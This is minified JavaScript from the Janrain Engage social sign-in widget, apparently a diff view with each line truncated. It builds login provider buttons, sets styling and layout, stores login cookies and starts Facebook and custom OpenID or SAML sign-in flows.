+b){function c(b){if(ia&&ia[a])return ia[a][b]}var h=document.createElement("li");h.style.listStyle="none";0==w&&!1===u&&(h.style.cssFloat="left");0==w&&!1===u&&(h.style.styleFloat="left");h.style.height=f&&v?x+2:x+"px";if("two column"==m){var d=u?3*n:La<=N?0:3*n;h.style.width=6===f||eb&&v?(C-d-4*n)/w+"px":(C-d-(2==w?10:0))/w+"px"}h.style.marginTop="0px";if("one column"==m){if(7==f||6==f)h.style.marginTop="-1px";f&&v?h.style.marginRight="0px":h.style.width=C-n/2+"px";h.style.marginLeft="0 [...]
+n+"px";0==w&&(h.style.width=x+"px");h.style.marginBottom=(7===f||6===f||f&&v?3:n)+"px";h.style.position="relative";0!=w&&(h.style.border="1px solid "+ma);0!=w&&L(h,ha);var d=document.createElement("a"),e=document.createElement("span"),g=document.createElement("span");"undefined"!==typeof b&&(d.tabIndex=b);d.style.fontFamily="Helvetica, lucida grande, Verdana, sans-serif";d.style.fontSize="12px";d.style.lineHeight="14px";d.style.marginLeft="auto";d.style.marginRight="auto";d.href="javascr [...]
+d.style.textDecoration="none";d.style.display="block";d.style.paddingLeft="5px";d.style.paddingRight="5px";d.style.textAlign="left";g.className="janrain-provider-text-color-"+a;g.style.fontFamily=Sa;g.style.cursor="pointer";g.style.marginLeft="7px";g.style.textAlign="left";30==x&&(e.className="janrain-provider-icon-24 janrain-provider-icon-"+a,e.style.marginTop="3px",g.style.marginTop="9px",g.style.verticalAlign="top",g.style.display="inline-block");50==x&&(e.className="janrain-provider- [...]
+a,e.style.marginTop="9px",e.style.backgroundColor="transparent",g.style.marginTop="16px",g.style.fontSize="16px",g.style.lineHeight="20px",g.style.verticalAlign="top",g.style.display="inline-block");"one column"==m&&(d.style.textAlign="center");"two column"==m&&275>C&&(g.style.textIndent="-9999px",g.style.marginLeft=0,d.style.textAlign="center");2==w&&(30==x&&(d.style.width="auto"),50==x&&(e.style.marginLeft="5px"));if(0==w&&(30==x||50==x)){var e=document.createElement("a"),o=document.cr [...]
+j=document.createTextNode(a);"undefined"!==typeof b&&(e.tabIndex=b);e.className="janrain-provider-icon-32 janrain-provider-icon-bg janrain-provider-icon-"+a;e.style.marginTop="0px";e.href="javascript:void(0);";e.style.textDecoration="none";e.style.display="block";o.style.display="inline-block";o.style.textIndent="-9999px"}if(c("customSAML")||c("customOpenid")){var i=c("friendlyName")||"Sign In",B=document.createTextNode(i);if(1==w||2==w){if(30==x||50==x)e.style.backgroundImage="url("+c(" [...]
+")",g.appendChild(B),g.style.color=c("color")||"#000000";15<=B.length&&(B.textContent=B.textContent.substr(0,15))}if(0==w&&(30==x||50==x))j=document.createTextNode(i),e.style.backgroundImage="url("+c("largeIcon")+")";f&&10>f&&(e.style.backgroundImage="none",e.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(enable=true,sizingMethod=scale,src='"+c("largeIcon")+"')")}else if("blank"!==a&&(1==w||2==w))30==x&&(e.style.backgroundColor="transparent",g.innerHTML=ia[a].friendlyNa [...]
+(e.style.backgroundColor="transparent",g.innerHTML=ia[a].friendlyName);6===f&&"one row"!==m&&(i=document.createElement("div"),i.style.height=e.style.height,i.style.width="90px",i.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(enable=true,sizingMethod=crop,src='"+e.src+"')",e.style.filter="alpha(opacity=0)",i.appendChild(e),h.appendChild(i));0==w?(h.appendChild(e),e.appendChild(o),o.appendChild(j)):(h.appendChild(d),d.appendChild(e),d.appendChild(g));return F(a,h)}functi [...]
+document.createElement("a"),h=d.translate.SIGN_IN_AS||"Sign in as {name}",h=h.replace("{name}",b),e=document.createElement("span"),h=document.createTextNode(h),g=document.createElement("span");e.className="janrain-provider-text-color-"+a;c.href="javascript:void(0);";c.style.textDecoration="none";c.style.display="block";if("customopenid"===a){var o=document.createElement("span");document.createElement("span");o.className="janrain-provider-icon-32 janrain-provider-icon-"+a;o.style.backgrou [...]
+Ia.largeIcon+")";e.style.color=Ia.customOpenIdProviderColor||"#000000";10>f&&(o.style.backgroundImage="none",o.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(enable=true,sizingMethod=scale,src='"+Ia.largeIcon+"')")}else"customsaml"===a?(o=document.createElement("span"),document.createElement("span"),o.className="janrain-provider-icon-32 janrain-provider-icon-"+a,o.style.backgroundImage="url("+Wa.largeIcon+")",e.style.color=Wa.customSAMLProviderColor||"#000000",10>f&&(o. [...]
+"none",o.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(enable=true,sizingMethod=scale,src='"+Wa.largeIcon+"')")):(o=document.createElement("span"),o.className="janrain-provider-icon-24 janrain-provider-icon-"+a);g.style.display="inline-block";g.style.verticalAlign="top";g.style.fontFamily=Sa;var i=document.createElement("div"),B=7.5*h.length+30,l=j();i.style.fontSize="16px";i.style.height="100%";i.style.position="relative";if(0==w||120>l)15<=h.length&&(i.style.fontSize [...]
+7*h.length+30),20<=h.length&&(i.style.fontSize="12px",B=6*h.length+30),24<=h.length&&(i.style.fontSize="10px",B=5*h.length+50),30<=h.length&&(h.textContent=h.textContent.substr(0,26)+"...",B=162);i.style.width=B+"px";if(0==w||116>l)"customopenid"===a?(o=document.createElement("span"),document.createElement("span"),o.className="janrain-provider-icon-24 janrain-provider-icon-"+a,o.style.backgroundImage="url("+Ia.largeIcon+")",e.style.color=Ia.customOpenIdProviderColor||"#000000",f&&10>f&&( [...]
+"none",o.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(enable=true,sizingMethod=scale,src='"+Ia.largeIcon+"')")):"SAML"===a?(o=document.createElement("span"),document.createElement("span"),o.className="janrain-provider-icon-24 janrain-provider-icon-"+a,o.style.backgroundImage="url("+Wa.largeIcon+")",e.style.color=Wa.customSAMLProviderColor||"#000000",f&&10>f&&(o.style.backgroundImage="none",o.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(enable=true, [...]
+Wa.largeIcon+"')")):(o=document.createElement("span"),o.className="janrain-provider-icon-24 janrain-provider-icon-"+a);30===x&&(g.style.marginTop="9px",g.style.fontSize="12px",o.style.marginTop="3px");50===x&&(g.style.marginTop="16px",o.className="janrain-provider-icon-32 janrain-provider-icon-"+a,o.style.marginTop="9px");"one row"===m&&30===x&&(o.style.marginTop="-1px");g.appendChild(e);e.appendChild(h);o.style.marginRight="10px";o.style.verticalAlign="top";c.style.overflow="hidden";c.s [...]
+"relative";c.style.height=("one row"!==m?x:25)+"px";c.style.marginBottom="one row"===m?"-4px":"4px";"one row"===m&&(c.style.top="-4px");c.style.left="0px";f&&v&&(c.style.marginRight="5px");f&&v&&(c.style.marginLeft="3px");c.style.border="1px solid "+ma;L(c,ha);"customopenid"===a&&(c.style.color=ia[a].color);6===f||7===f||f&&v?i.style.left="10px":i.style.margin="0 auto";i.appendChild(o);i.appendChild(g);0==w&&(i.style.paddingTop="2px",g.style.marginTop="6px");0==w||116>l?(c.appendChild(i) [...]
+"auto"):(50===x&&parseInt(c.style.height),g.style.cssFloat="none",g.style.styleFloat="none",c.appendChild(o),c.appendChild(g));return F(a,c)}function M(a,b){X(a,"click",function(){O(b)})}function O(a){var b=ia[a],c={appUrl:d.appUrl,mobileDevice:yb,language:d.language,popup:Ya,tokenUrl:Ma||d.tokenUrl||window.location.href,facebookPermissions:ga,forceReauth:ba,widgetType:"auth",tokenAction:Aa,bpChannel:Na,customOpenid:$a,customSAML:Ha,customOpenidOpxblob:d.customOpenidOpxblob};b.name=a;new [...]
+(db=setTimeout(function(){Fa(b)},300))})}function K(){var a=document.createElement("div");a.style.position="absolute";a.style.top="0px";a.style.left="0px";a.style.width=C+"px";a.style.zIndex="102";a.style.textAlign="center";a.style.padding=n+"px";a.style.backgroundColor="transparent"===Oa?"#ffffff":Oa;a.style.height=j()-(f&&v?0:2*n)+"px";L(a,y);return a}function P(a){var b=document.createElement("a"),c=document.createTextNode(d.translate.USE_ANOTHER_ACCOUNT||"switch accounts");b.setAttri [...]
+"janrainSwitchAccountLink");b.setAttribute("href","");b.style.fontSize="12px";b.style.fontFamily=Sa;b.style.color=Z;b.onclick=a;b.appendChild(c);return b}function Q(){return"modal"===z?document.getElementById("janrainModal"):"embed"===z?document.getElementById("janrainEngageEmbed"):!1}function R(){var a=parseInt(s.style.width);return a=a+2*n+2}function T(){var a=Q();null!==a&&"object"===typeof s&&s.parentNode===a&&a.removeChild(s);janrain.events.onProviderLoginStart.removeHandler(Xa)}fun [...]
+"";"object"===typeof l&&(a=l.getState());return{type:z,width:R(),fontFamily:Sa,fontSize:ea,fontColor:Z,backgroundColor:Oa,borderColor:xa,borderRadius:y,format:m,providersPerPage:N,providers:la,buttonBackgroundStyle:Ta,buttonBorderColor:ma,buttonBorderRadius:ha,actionText:e(),showAttribution:sa,modalState:a}}function V(a){m=r("string",["default","two column","one column","one row"],"two column",a);"default"===m&&(m="two column");"one row"==a&&(y=r("number",[0,10],5,y));na()}function W(a){ [...]
+m&&(C=r("number",[225,600],380,a));"one column"===m&&(C=r("number",[160,600],200,a));"one row"===m&&(x=30,a=La<=N?n*(parseInt(N)-1):n*(parseInt(N)+2),40===ua&&(a+=ra-n),C=x*N+a);if(("two column"===m||"one column"===m)&&!u)C=C-2*n-2;f&&v&&(C=C+2*n+2);"one row"!==m&&(x=380<C?50:30)}function Y(b){"string"===typeof b&&(wa=!0,J=r("text",null,J,b)," "===J?y=r("number",[0,5],5,y,!0):ta="two column"!==m?a().headerHeight-5:a().headerHeight)}function $(a){Ta=r("string",["gray","white","gradient"], [...]
+a)}function ca(a){ma=r("color",null,"#CCCCCC",a)}function ja(a){Oa=r("color",null,"#ffffff",a)}function ka(a){"undefined"===typeof a&&(a=5);y=" "===J||!sa||"one row"===m?r("number",[0,5],5,a,!0):r("number",[0,10],10,a)}function oa(a){sa=r("boolean",null,!0,a);j();y=a?r("number",[0,10],5,y,!0):r("number",[0,5],5,y,!0)}function qa(a){xa=r("color",null,"#C0C0C0",a)}function na(){"two column"===m&&(ea=18);if("one column"===m||"one row"===m)ea=14}function Ba(a){Z=r("color",null,"#333333",a)}f [...]
+typeof a){w=g();for(var b=0,c=a.length;b<c;b++)ia[a[b]]||(p.log(a[b]+" is not a valid provider: removing."),a.splice(b,1),--b,--c);la=a;La=a.length;"object"===typeof l&&l.setHeight(j()-2*n).refresh()}}function Da(a){"two column"===m&&(N=r("number",[4,6,8],6,a));"one column"===m&&(N=r("number",[1,6],6,a));"one row"===m&&(N=Ab?La:r("number",[4,8],6,a),W(C))}function Fa(a){var b=document.createTextNode(d.translate&&d.translate.SIGNING_IN?d.translate.SIGNING_IN:"Signing in ..."),c=document.c [...]
+va=K(a.name);c.appendChild(b);c.style.position="absolute";c.style.marginTop="-8px";c.style.top="50%";c.style.textAlign="center";c.style.width="100%";va.appendChild(c);s&&s.appendChild(va)}var da=!1,C=380,wa=!1,Sa="Helvetica, lucida grande, Verdana, sans-serif",ea=18,Z="#666666",Oa="#ffffff",xa="#C0C0C0",y=10,s,fa,m="two column",w,ya,N=6,la=["aol","google","yahoo","openid"],La=4,ma="#CCCCCC",ha=5,Ta="gradient",x=30,ta=a().headerHeight,ua=60,ra=89,Ga=a().footerHeight,n=5,Ea=10,J="Sign in u [...]
+va,ab,Ja,Ka,sa=!0,Qa=!1,Ra=!1,Ua,Va,Xa;Xa=janrain.events.onProviderLoginStart.addHandler(function(a){za("login_tab",a.provider,1)});return{build:b,setFormat:function(b){b&&V(b);"two column"!==m&&(ta=a().headerHeight-5);"two column"===m&&(N=a().twoColumn.providersPerPage,ta=a().headerHeight);return this},setActionText:function(a){"string"===typeof a&&Y(a);return this},setFontSize:function(a){a&&na(a);return this},setFontFamily:function(a){a&&a&&(Sa=a);return this},setFontColor:function(a) [...]
+return this},setButtonBorderColor:function(a){a&&ca(a);return this},setButtonBorderRadius:function(a){if("string"==typeof a||"number"==typeof a)ha=r("number",[0,20],5,a);return this},setButtonBackgroundStyle:function(a){a&&$(a);return this},setWidth:function(a){("string"==typeof a||"number"==typeof a)&&W(a);return this},refresh:function(){T();var a=Q();b();var c=S("expected_tab");c&&!bb?pa("expected_tab",c):(null!==a&&"object"===typeof s&&a.appendChild(s),"object"===typeof l&&l.setHeight [...]
+2).refresh());cb&&"object"===typeof l&&l.setHeight(parseInt(s.style.height)+2).refresh();janrain.events.onCustomizationChange.fire(U());return this},remove:function(){T();return this},setRowHeight:function(a){if(0!==g())return this;a||(a=60);oneRowHeaderHeight=r("number",[40,60,90],60,a);40===oneRowHeaderHeight&&(x=30,ua=40);60===oneRowHeaderHeight&&(x=30);90===oneRowHeaderHeight&&(x=50);return this},setHeight:function(a){"object"==typeof s&&(s.style.height=a+"px");return this},setBackgr [...]
+ja(a);return this},setBorderColor:function(a){a&&qa(a);return this},setBorderRadius:function(a){("string"==typeof a||"number"==typeof a)&&ka(a);return this},setProviders:function(a){"object"==typeof a&&Ca(a);return this},setProvidersPerPage:function(a){if("string"==typeof a||"number"==typeof a)Da(a),"object"===typeof l&&l.setHeight(j()).refresh("janrainModal");return this},setShowAttribution:function(a){"boolean"===typeof a&&oa(a);return this},setPreviewMode:function(a){"boolean"===typeo [...]
+a);return this},setProviderFlow:function(a,b){return M(a,b)},triggerFlow:function(a){return O(a)},setNoReturnExperience:function(a){"boolean"===typeof a&&(Qa=a);return this},setNoReturnExperienceSwitchAccountLink:function(a){"boolean"===typeof a&&(Ra=a);return this},setConfigureMode:function(a){"boolean"===typeof a&&(u=a,w=g());return this},embed:function(a){if((ya=a)&&"object"==typeof s)s.style.position="relative";return this},getContentsDiv:function(){return s},getErrorPage:function(a, [...]
+document.createTextNode(b.msg),h=document.createElement("div");h.appendChild(c);h.style.color=Z;h.style.fontSize=ea+"px";h.style.width="100%";var d=K(a);d.appendChild(h);d.appendChild(P(function(){s.removeChild(d);s.removeChild(va);ba=!0;return!1},a));s.appendChild(d);return s},getReturnExperience:function(a,b){if(cb||Qa||-1===la.indexOf(a))return s;var c=I(a,b),h=K(a),d=document.createElement("div"),e=function(){ba=bb=!0;s.removeChild(h);return!1};d.style.position="relative";d.style.top [...]
+x&&(d.style.marginTop="-25px");50===x&&(d.style.marginTop="-35px");0==w&&(d.style.top="0",d.style.marginTop="0");h.id="janrainAuthReturnExperience";h.appendChild(d);d.appendChild(c);Ra||d.appendChild(P(e,a));s.appendChild(h);return s},getWidth:function(){return R()},getActualHeight:function(){return parseInt(s.style.height)+2},getHeight:function(){return j()-2*n},getState:function(){return U()},setState:function(b){if(i("customizable_auth_widget_styling")){var c=b.fontFamily;c&&(Sa=c);na [...]
+Ba(b.fontColor);ja(b.backgroundColor);qa(b.borderColor);"embed"===z&&b.format&&(b.format&&V(b.format),"two column"!==m&&(ta=a().headerHeight-5),"two column"===m&&(N=a().twoColumn.providersPerPage,ta=a().headerHeight));if("string"==typeof b.providersPerPage||"number"==typeof b.providersPerPage)Da(b.providersPerPage),"object"===typeof l&&l.setHeight(j()).refresh("janrainModal");$(b.buttonBackgroundStyle);ca(b.buttonBorderColor);ha=r("number",[0,20],5,b.buttonBorderRadius);Y(b.actionText);o [...]
+ka(b.borderRadius);"embed"===z&&("string"==typeof width||"number"==typeof width)&&W(b.width)}Ca(b.providers)},showNotice:function(){Fa()},removeNotice:function(){Kb(va)},removeReturnExperience:function(){var a=document.getElementById("janrainAuthReturnExperience");Kb(a)}}}function e(){var a=document.createElement("div");a.id="fb-root";document.body.insertBefore(a,document.body.firstChild);window.fbAsyncInit=function(){FB.init({appId:janrain.settings.facebookAppId,status:!0,cookie:!1,xfbm [...]
+FB.getLoginStatus(function(a){var b=(new O).setName(ra);a.authResponse&&window.janrain&&window.janrain.engage&&window.janrain.engage.signin&&(janrain.engage.signin.facebookAutoLoginCallback=function(a){"ok"===a.stat&&(janrain.events.onProviderLoginToken.fire({engageToken:a.token}),b.setValue("true").create())},Y(d.appUrl+"/signin/oauth_token?provider=facebook&callback=janrain.engage.signin.facebookAutoLoginCallback&token="+a.authResponse.accessToken+"&origin_domain="+window.location.host [...]
+Y("//connect.facebook.net/en_US/all.js")}function b(){if("object"===typeof j)if("object"===typeof P){var a=j.getState();a.width=P.width;P=a}else P=j.getState();"object"===typeof j&&j.remove();"object"===typeof l&&l.remove();z="modal";t();"object"===typeof j&&P&&i("customizable_auth_widget_styling")&&j.setState(P);"object"===typeof l&&Xa&&i("customizable_auth_widget_styling")&&l.setState(Xa);"object"===typeof l&&l.show();"object"===typeof j&&j.refresh()}function c(){if("object"===typeof j [...]
+typeof P){var a=j.getState();a.borderRadius=P.borderRadius;a.format=P.format;a.width=P.width;P=a}else P=j.getState();Xa=P.modalState;delete Xa.orientation}"object"===typeof j&&j.remove();"object"===typeof l&&l.remove();"object"===typeof l&&(l="");z="embed";g();"object"===typeof j&&P&&i("customizable_auth_widget_styling")&&j.setState(P);"object"===typeof j&&j.refresh()}function F(){var a,b;t();b=document.getElementsByTagName("a");var c=RegExp("(\\s|^)"+d.linkClass+"(\\s|$)");for(a in b)c. [...]
+(b[a].onclick=G)}function g(){var b=S("expected_tab");j=new a;j.setBackgroundColor(ib).embed(!0).setPreviewMode(jb).setShowAttribution(kb).setNoReturnExperience(lb).setNoReturnExperienceSwitchAccountLink(Bb).setFormat(ya).setRowHeight(xa).setFontSize(mb).setFontFamily(nb).setFontColor(ob).setActionText(pb).setProviders(la).setProvidersPerPage(qb).setWidth(Z).setBorderColor(ea).setBorderRadius(wa).setButtonBorderColor(rb).setButtonBorderRadius(sb).setButtonBackgroundStyle(tb).build();var [...]
+null===c&&(c=document.getElementById("janrainModal"));qa||(b?(V("welcome_info_name",unescape(S("welcome_info_name"))),pa("expected_tab",b)):ma(c,j.getContentsDiv()))}function G(){"object"===typeof l&&l.show();return!1}function t(){var b=Va(hb,gb),c=S("expected_tab");if("undefined"===typeof b||0>b)b=5;j=new a;j.setBackgroundColor(ib).setPreviewMode(jb).setShowAttribution(kb).setNoReturnExperience(lb).setNoReturnExperienceSwitchAccountLink(Bb).setFontSize(mb).setFontFamily(nb).setFontColor [...]
+if("object"!==typeof l){l=new Lb;l.ready=!1;var d=l.addContent;l.addContent=function(a){l.ready=!0;d(a);janrain.events.onModalWidgetReady.fire()}}l.setHeight(j.getActualHeight()).setWidth(j.getWidth()).setPreviewMode(jb).setBorderColor(Da).setBorder(gb).setBorderOpacity(Fa).setBorderRadius(hb);qa||(c?(V("welcome_info_name",unescape(S("welcome_info_name"))),pa("expected_tab",c)):l.addContent(j.getContentsDiv()));l.onOrientationChange.addHandler(function(a){"portrait"===a.orientation&&j.se [...]
+"landscape"===a.orientation&&j.setHeight(a.height).setWidth(a.width).setFormat(a.format).refresh({center:!0});l.setHeight(j.getActualHeight());l.setWidth(j.getWidth())});l.onShow.addHandler(function(){"object"==typeof j&&l.setWidth(j.getWidth())});l.onBorderWidthChange.addHandler(function(a){"object"===typeof l&&"object"===typeof j&&(j.setBorderRadius(a.radius).refresh(),a=j.getState(),a.borderRadius<a.modalState.borderRadius-a.modalState.borderWidth&&l.setBorderRadius(a.borderRadius+a.m [...]
+l.onBorderRadiusChange.addHandler(function(a){"object"===typeof j&&(j.setBorderRadius(a.radius).refresh(),a=j.getState(),a.borderRadius<a.modalState.borderRadius-a.modalState.borderWidth&&l.setBorderRadius(a.borderRadius+a.modalState.borderWidth))})}function q(a,b){if(!i("customizable_auth_widget_styling"))return!1;if("object"===typeof j)return b(a),!0}function A(a){return q(a,function(a){j.setBackgroundColor(a).refresh()})}function K(a){return q(a,function(a){j.setBorderRadius(a).refres [...]
+function(a){j.setBorderColor(a).refresh()})}function T(a){return"modal"===z?!1:q(a,function(a){j.setWidth(a).refresh({center:!0})})}function H(a){return q(a,function(a){j.setActionText(a).refresh()})}function W(a){return q(a,function(a){j.setButtonBorderColor(a).refresh()})}function U(a){return q(a,function(a){j.setButtonBorderRadius(a).refresh()})}function ca(a){return q(a,function(a){j.setButtonBackgroundStyle(a).refresh()})}function D(a){return"modal"==z?!1:q(a,function(a){j.setFormat [...]
+function k(a){return q(a,function(a){j.setProvidersPerPage(a).refresh()})}function ka(a){return q(a,function(a){j.setFontFamily(a).refresh()})}function na(a){return q(a,function(a){j.setFontSize(a).refresh()})}function E(a){return q(a,function(a){j.setFontColor(a).refresh()})}function S(a){var b;if("single cookie"===oa){b=O().getCookie("janrain_engage_login_data");if(!b)return;b=R.parse(b);return!b[a]?void 0:a=b[a]}if("default"===oa)return a=O().getCookie(a),!a?void 0:a}function za(a,b,c [...]
+!b)return!1;c||(c=1);if("single cookie"===oa)return(oldCookieJSON=O().getCookie("janrain_engage_login_data"))||(oldCookieJSON="{}"),c=R.parse(oldCookieJSON),c[a]=b,d=new O,d.setName("janrain_engage_login_data").setValue(R.stringify(c)).setExpiration(1826).create(),!0;return"default"===oa?(d=new O,d.setName(a).setValue(b).setExpiration(c).create(),!0):!1}function ja(a,b){if(lb)return!1;if("expected_tab"===a&&!b){var c=S("login_tab");c&&ja("expected_tab",c);return!1}if(!b||"undefined"===b| [...]
+a&&"expected_user_input"!==a&&"welcome_info_name"!==a)return!1;b="welcome_info_name"===a?escape(b):b;za(a,b,1826)}function M(a,b){var c={};a||(a=Cb);b||(b=Cb.appUrl);if(f&&3>Ra)return c.widget_type=a.widget_type,c.provider=a.provider,c.time=(new Date).getTime(),c=xb(c),Y(b+"/signin/get_login_info"+c),Ra++,!0;"object"===typeof janrain.events.onProviderLoginCancel&&janrain.events.onProviderLoginCancel.fire(a);"undefined"!==typeof db&&clearTimeout(db);return!1}function Pa(a,b,c){var d=b.app [...]
+a.customSAML,f=janrain.settings.customOpenid&&a.customOpenid,d=e?d+"/saml2/sso/start":d+("/"+a.flow+"/start"),g=window.location.href;b.mobileDevice&&(g="mobile");var i=b.language||"en",j=b.popup?"xdr":"xdrsw",l=b.tokenUrl||window.location.href,k={};Cb={appUrl:b.appUrl,provider:a.name,widget_type:b.widgetType};k.language_preference=i;k.token_url=l;k.display="popup";k.widget=!0;"object"===typeof b.facebookPermissions&&(k.ext_perm=b.facebookPermissions.toString());e?k.saml_provider=a.identi [...]
+a.identifier;k.origin_url=g;k.provider_name=a.name;k.force_reauth=b.forceReauth;k.xdReceiver=b.appUrl+"/"+j;k.callback="none";k.widget_type=b.widgetType;k.token_action="url";if("event"===b.tokenAction||"hybrid"===b.tokenAction)k.token_action="event";b.mobileDevice&&"hybrid"===b.tokenAction&&(k.token_action="url");b.bpChannel&&(k.bp_channel=b.bpChannel);g=function(b){var c=janrain.settings[b],b=a[b],c="object"===typeof c?c[a.name]:c;return c!==b?c:b}("customOpenidOpxblob");b.customOpenid& [...]
+typeof g&&(k.opx_blob=g);d+=xb(k);(function(){janrain.events.onProviderLoginStart.fire({provider:a.name,width:a.width,height:a.height});var g;b.mobileDevice&&"event"!==b.tokenAction||!b.popup?Y(b.appUrl+"/signin/set_login_tab?login_tab="+a.name+"&origin_url="+encodeURIComponent(window.location.href),function(){janrain.settings.customProviderInIFrame&&(f||e)?window.location.href=d:window.top.location.href=d}):(g=new Ub(d),g.setWidth(a.width).setHeight(a.height).setCallback(function(){var [...]
+d.widget_type=b.widgetType;d.provider=a.name||"";d.time=(new Date).getTime();e=xb(d);"function"===typeof c&&c();Y(b.appUrl+"/signin/get_login_info"+e);janrain.events.onProviderLoginComplete.fire({provider:a.name})}).show())})()}function V(a,b){if(!b||"undefined"===b||"welcome_info_name"!==a)return!1;b&&(ha=b)}function pa(a,b){function c(){janrain.events.onReturnExperienceFound.fire({returnProvider:b,welcomeName:ha})}var d=function(a){var c=function(){600>a&&setTimeout(function(){d(++a)}, [...]
+typeof j)return c(),!1;"modal"===z?l.addContent(j.getReturnExperience(b,ha)):"embed"===z&&ma(document.getElementById("janrainEngageEmbed"),j.getReturnExperience(b,ha));"modal"===z&&janrain.events.onModalWidgetReady.fire()};if("expected_tab"!==a||!b)return!1;"object"===typeof j&&j.removeReturnExperience();Qa?c():janrain.events.onAuthWidgetLoad.addHandler(c);d(0)}function ma(a,b){a&&(a.innerHTML="");janrain.settings.capture&&(a?(a.innerHTML="",a.appendChild(b)):(a=document.createElement("d [...]
+"janrainEngageEmbed",a.style.display="none",document.body.appendChild(a)));a?(a.appendChild(b),janrain.events.onAuthWidgetContentPlaced.fire()):(p.log('Missing container div, please place this div where you wantthe embedded widget to be displayed on your page- <div id="janrainEngageEmbed"></div>.'),p.show());return a}function Ba(a,b){Ma=Ma||$;tokenUrl=b?Ma:$;var c="";if(!fb(tokenUrl).query)var c=c+"?",d=!0;for(var e in a)d?(c+=e+"="+a[e],d=!1):c+="&"+e+"="+a[e];Ma=tokenUrl+c}function da( [...]
+b&&!d.customSAML||"customopenid"===b&&!d.customOpenid)){var c,e;if("customsaml"===b)c="customSAMLProviderId",e=["customSAMLProviderName","customSAMLProviderColor","customSAMLLargeIcon"];else if("customopenid"===b)c="customOpenidProviderId",e="customOpenIdProviderName,customOpenIdProviderColor,customOpenidLargeIcon,customOpenidIdentifier,customOpenidFlow,customOpenidOpxblob".split(",");else{p.log("Bad provider: "+b);p.show();return}var h=typeof d[c];if("undefined"===h||"string"===h){var f [...]
+d[c]=[f];wb(e,function(a){if("object"!==typeof d[a]){var b=d[a];d[a]={};d[a][f]=b}})}}}function e(a,b){var c=Tb,h={customopenid:["customOpenidFlow","customOpenidIdentifier"],customsaml:["customSAMLProviderId"]};if(d[{customopenid:"customOpenid",customsaml:"customSAML"}[a]]&&i("customizable_auth_widget_styling")){"customopenid"===a?$a=!0:"customsaml"===a&&(Ha=!0);for(var h=h[a],f=0,g=h.length;f<g;f++)if(!d[h[f]])return p.log(c({provider:a,setting:h[f]},"Missing {| setting |}. {| setting | [...]
+p.show(),!1;var j={customsaml:{providerColor:"customSAMLProviderColor",friendlyName:"customSAMLProviderName",modalHeight:"customSAMLModalHeight",modalWidth:"customSAMLModalWidth",largeIcon:"customSAMLLargeIcon"},customopenid:{providerColor:"customOpenIdProviderColor",friendlyName:"customOpenIdProviderName",modalHeight:"customOpenidModalHeight",modalWidth:"customOpenidModalWidth",customOpenidOpxblob:"customOpenidOpxblob",largeIcon:"customOpenidLargeIcon",flow:"customOpenidFlow",identifier [...]
+c=function(c){c=d[j[a][c]];return"object"===typeof c?c[b]:c},h={width:c("modalWidth")||800,height:c("modalHeight")||600,friendlyName:c("friendlyName"),color:c("providerColor"),largeIcon:c("largeIcon"),identifier:c("identifier")};"customopenid"===a?(h.flow=c("flow"),h.customOpenid=!0,h.customOpenidOpxblob=c("customOpenidOpxblob")):"customsaml"===a&&(h.customSAML=!0,h.identifier=b);ia[b]=h}}d=janrain.settings;if("en"!==janrain.settings.language&&"undefined"===typeof janrain.settings.transl [...]
+5),!1;Ib(Eb()+"providers.css");f&&9>=f&&Ib(Eb()+"providers-ie.css");if(d.stop)return!0;Xb&&Y(d.appUrl+"/signin/establish_session");Aa=d.tokenAction?d.tokenAction:Aa;if(!d.tokenUrl&&"event"===Aa)$=window.location.href;else if(d.tokenUrl)$=d.tokenUrl;else return p.log("Missing tokenUrl. tokenUrl is required."),p.show(),!1;z=r("string",["modal","embed"],"embed",d.type?d.type:z);qa=d.multi?d.multi:yb?!0:qa;aa=d.custom?d.custom:aa;ba=d.forceReauth?d.forceReauth:ba;Na=d.bpChannel?d.bpChannel: [...]
+d.facebookPermissions:ga;fa=!!d.facebookAutoLogin;oa=d.storageType?r("string",["default","single cookie"],"default",d.storageType):oa;Ya="boolean"===typeof d.popup?d.popup:Ya;yb&&"event"!==Aa&&(Ya=!1);Ca=d.returnExperienceTimeout?d.returnExperienceTimeout:Ca;qa&&(setTimeout(function(){var a=S("expected_tab");a?(V("welcome_info_name",unescape(S("welcome_info_name"))),pa("expected_tab",a)):"modal"===z?l.addContent(j.getContentsDiv()):"embed"===z&&(a=document.getElementById("janrainEngageEm [...]
+j.getContentsDiv()))},Ca),Y(d.appUrl+"/signin/get_cookies"));a("customopenid");a("customsaml");d.customOpenid&&wb(d.customOpenidProviderId,function(a){e("customopenid",a)});d.customSAML&&wb(d.customSAMLProviderId,function(a){e("customsaml",a)});if(aa)return!0;Aa=d.tokenAction?d.tokenAction:Aa;gb=i("customizable_auth_widget_styling")?d.modalBorderWidth:gb;Da=i("customizable_auth_widget_styling")?d.modalBorderColor:Da;hb=i("customizable_auth_widget_styling")?d.modalBorderRadius:hb;Fa=i("cu [...]
+d.modalBorderOpacity:Fa;ib=i("customizable_auth_widget_styling")?d.backgroundColor:ib;wa=i("customizable_auth_widget_styling")?d.borderRadius:wa;ea=i("customizable_auth_widget_styling")?d.borderColor:ea;ya=i("customizable_auth_widget_styling")?d.format:ya;ob=i("customizable_auth_widget_styling")?d.fontColor:ob;mb=i("customizable_auth_widget_styling")?d.fontSize:mb;nb=i("customizable_auth_widget_styling")?d.fontFamily:nb;Z=i("customizable_auth_widget_styling")?d.width:Z;xa=i("customizable [...]
+d.rowHeight:xa;qb=i("customizable_auth_widget_styling")?d.providersPerPage:qb;Ab=i("customizable_auth_widget_styling")?d.providersNotPaged:Ab;pb=i("customizable_auth_widget_styling")?d.actionText:pb;rb=i("customizable_auth_widget_styling")?d.buttonBorderColor:rb;sb=i("customizable_auth_widget_styling")?d.buttonBorderRadius:sb;tb=i("customizable_auth_widget_styling")?d.buttonBackgroundStyle:tb;kb=i("customizable_auth_widget_hide_attribution")?d.showAttribution:kb;jb=d.previewMode;lb=d.noR [...]
